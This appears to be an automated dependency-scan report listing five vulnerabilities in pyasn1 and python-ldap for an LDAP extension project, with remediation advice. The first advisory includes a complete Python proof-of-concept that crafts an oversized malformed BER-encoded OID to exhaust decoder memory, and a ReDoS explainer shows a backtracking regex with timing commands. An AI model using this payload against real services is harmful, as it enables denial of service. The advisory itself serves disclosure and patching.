Vulnerabilities

5 via 14 paths

Dependencies

4

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Severity
  • 2
  • 3
Status
  • 5
  • 0
  • 0

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: pyasn1
  • Introduced through: python-ldap@3.3.1 and fakeldap@0.6.6

Detailed paths

  • Introduced through: marcus67/python_base_app_ldap_extension@marcus67/python_base_app_ldap_extension python-ldap@3.3.1 pyasn1@0.5.1
    Remediation: Upgrade to python-ldap@3.3.1.
  • Introduced through: marcus67/python_base_app_ldap_extension@marcus67/python_base_app_ldap_extension python-ldap@3.3.1 pyasn1-modules@0.3.0 pyasn1@0.5.1
    Remediation: Upgrade to python-ldap@3.3.1.
  • Introduced through: marcus67/python_base_app_ldap_extension@marcus67/python_base_app_ldap_extension fakeldap@0.6.6 python-ldap@3.3.1 pyasn1@0.5.1
  • Introduced through: marcus67/python_base_app_ldap_extension@marcus67/python_base_app_ldap_extension fakeldap@0.6.6 python-ldap@3.3.1 pyasn1-modules@0.3.0 pyasn1@0.5.1

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the valueDecoder function in decoder.py. An attacker can cause memory exhaustion by submitting a malformed RELATIVE-OID containing excessive continuation octets.

PoC

import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource

# Deliberately set memory limit to display PoC
try:
    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
    print("[*] Memory limit set to 100MB")
except:
    print("[-] Could not set memory limit")

# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])

print(f"[*] Testing with {payload_size_mb}MB payload...")

payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b'\x81' * payload_size + b'\x00'
length = len(payload)

# DER length encoding (supports up to 4GB)
if length < 128:
    length_bytes = bytes([length])
elif length < 256:
    length_bytes = b'\x81' + length.to_bytes(1, 'big')
elif length < 256**2:
    length_bytes = b'\x82' + length.to_bytes(2, 'big')
elif length < 256**3:
    length_bytes = b'\x83' + length.to_bytes(3, 'big')
else:
    # 4 bytes can handle up to 4GB
    length_bytes = b'\x84' + length.to_bytes(4, 'big')

# Use OID (0x06) for more aggressive parsing
malicious_packet = b'\x06' + length_bytes + payload

print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")

try:
    print("[*] Decoding (this may take time or exhaust memory)...")
    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())

    print(f'[+] Decoded successfully')
    print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')

    # Try to convert to string
    print('[*] Converting to string...')
    try:
        str_result = str(result[0])
        print(f'[+] String succeeded: {len(str_result)} chars')
        if len(str_result) > 10000:
            print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
    except MemoryError:
        print(f'[-] MemoryError during string conversion!')
    except Exception as e:
        print(f'[-] {type(e).__name__} during string conversion')

except MemoryError:
    print('[-] MemoryError: Out of memory!')
except Exception as e:
    print(f'[-] Error: {type(e).__name__}: {e}')


print("\n[*] Test completed")

Remediation

Upgrade pyasn1 to version 0.6.2 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: pyasn1
  • Introduced through: python-ldap@3.3.1 and fakeldap@0.6.6

Detailed paths

  • Introduced through: marcus67/python_base_app_ldap_extension@marcus67/python_base_app_ldap_extension python-ldap@3.3.1 pyasn1@0.5.1
    Remediation: Upgrade to python-ldap@3.3.1.
  • Introduced through: marcus67/python_base_app_ldap_extension@marcus67/python_base_app_ldap_extension python-ldap@3.3.1 pyasn1-modules@0.3.0 pyasn1@0.5.1
    Remediation: Upgrade to python-ldap@3.3.1.
  • Introduced through: marcus67/python_base_app_ldap_extension@marcus67/python_base_app_ldap_extension fakeldap@0.6.6 python-ldap@3.3.1 pyasn1@0.5.1
  • Introduced through: marcus67/python_base_app_ldap_extension@marcus67/python_base_app_ldap_extension fakeldap@0.6.6 python-ldap@3.3.1 pyasn1-modules@0.3.0 pyasn1@0.5.1

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion when decoding ASN.1 data. An attacker can cause the application to crash or exhaust system memory by supplying specially crafted ASN.1 data with deeply nested SEQUENCE or SET tags using indefinite Length markers.

Remediation

Upgrade pyasn1 to version 0.6.3 or higher.

References

medium severity

Improper Encoding or Escaping of Output

  • Vulnerable module: python-ldap
  • Introduced through: python-ldap@3.3.1 and fakeldap@0.6.6

Detailed paths

  • Introduced through: marcus67/python_base_app_ldap_extension@marcus67/python_base_app_ldap_extension python-ldap@3.3.1
    Remediation: Upgrade to python-ldap@3.4.5.
  • Introduced through: marcus67/python_base_app_ldap_extension@marcus67/python_base_app_ldap_extension fakeldap@0.6.6 python-ldap@3.3.1

Overview

python-ldap is a Python modules for implementing LDAP clients

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the escape_dn_chars function. An attacker can cause client-side failures, such as unhandled exceptions or process crashes, by supplying input containing a NUL byte that is improperly escaped, leading to denial of service before any network communication occurs.

Remediation

Upgrade python-ldap to version 3.4.5 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: python-ldap
  • Introduced through: python-ldap@3.3.1 and fakeldap@0.6.6

Detailed paths

  • Introduced through: marcus67/python_base_app_ldap_extension@marcus67/python_base_app_ldap_extension python-ldap@3.3.1
    Remediation: Upgrade to python-ldap@3.4.0.
  • Introduced through: marcus67/python_base_app_ldap_extension@marcus67/python_base_app_ldap_extension fakeldap@0.6.6 python-ldap@3.3.1

Overview

python-ldap is a Python modules for implementing LDAP clients

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the LDAP schema tokenizer component.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade python-ldap to version 3.4.0 or higher.

References

medium severity

Improper Validation of Specified Type of Input

  • Vulnerable module: python-ldap
  • Introduced through: python-ldap@3.3.1 and fakeldap@0.6.6

Detailed paths

  • Introduced through: marcus67/python_base_app_ldap_extension@marcus67/python_base_app_ldap_extension python-ldap@3.3.1
    Remediation: Upgrade to python-ldap@3.4.5.
  • Introduced through: marcus67/python_base_app_ldap_extension@marcus67/python_base_app_ldap_extension fakeldap@0.6.6 python-ldap@3.3.1

Overview

python-ldap is a Python modules for implementing LDAP clients

Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input via the escape_filter_chars function. An attacker can bypass input sanitization and potentially manipulate or disclose LDAP data by supplying crafted list or dict objects as the assertion_value parameter when the escape_mode is set to 1.

Note: This is only exploitable if the application uses the non-default escape_mode=1 configuration and passes untrusted list or dict objects to the function.

Remediation

Upgrade python-ldap to version 3.4.5 or higher.

References